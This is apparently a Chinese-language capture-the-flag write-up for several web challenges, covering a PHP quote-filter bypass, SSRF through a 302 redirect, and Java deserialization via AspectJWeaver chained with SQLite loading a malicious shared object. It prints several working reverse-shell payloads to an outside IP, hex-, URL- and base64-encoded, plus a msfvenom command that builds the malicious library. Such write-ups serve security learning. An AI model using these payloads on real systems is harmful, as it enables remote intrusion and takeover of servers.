目录
Simple_php
用php -r进行php代码执行
因为ban了引号,考虑hex2bin,将数字转为字符串
php -r eval(hex2bin(16进制));
注意下面这段报错,因为加不了引号,开头是数字的话,就会将类型识别为数字,若后续出现了字符串就会报错
用substr来截一下,从而将类型转换为字符串
cmd=php -r $a=substr(Z62617368202d63202262617368202d69203e26202f6465762f7463702f3132342e3232322e3133362e33332f3133333720303e263122,1);system(hex2bin($a));
反弹shell后进行当前目录的查找
flag不在web目录下
去查数据库拿到flag
easycms
提示打SSRF
在$thumb处传入url即可访问
不能直接传127.0.0.1,打302
?s=api&c=api&m=qrcode&text=xxx&size=1024&level=1&thumb=http://124.222.136.33:1338/302.php
302.php
<?php
header("Location:http://127.0.0.1/flag.php?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F124.222.136.33%2F1337%200%3E%261%22");
反弹shell
根目录下./readflag
easycms_revenge
和上题一样,改一下302.php的内容
GIF89a
<html>
<?php
header("Location:http://127.0.0.1/flag.php?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F124.222.136.33%2F1337%200%3E%261%22");?>
</html>
这里注意细节,靶机发了两次请求,第一次我们就返回一个正常的图片,第二次请求就发一个302,php代码块要用html标签包裹
ezjava
/app/BOOT-INF/lib下删了jackson,不然就能直接打POJONode
依赖里有AspectJWeaver,打任意文件写入
【Web】浅聊Java反序列化之AspectJWeaver——任意文件写入-优快云博客
后续还可以配合sqlite加载恶意so文件
JavaSec/9.JDBC Attack/SQLite/index.md at main · Y4tacker/JavaSec · GitHub
然后AJ链子的入口要调用map.put
自定义类UserBean#readObject就可以配合利用
最终思路就是先mysql打入恶意反序列化数据写入so文件,再sqlite加载恶意so文件
生成恶意so文件
msfvenom -p linux/x64/exec CMD='echo YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuMjIyLjEzNi4zMy8xMzM3IDA+JjEi|base64 -d|bash' -f elf-so -o evil.so
将生成的恶意序列化数据写入output.se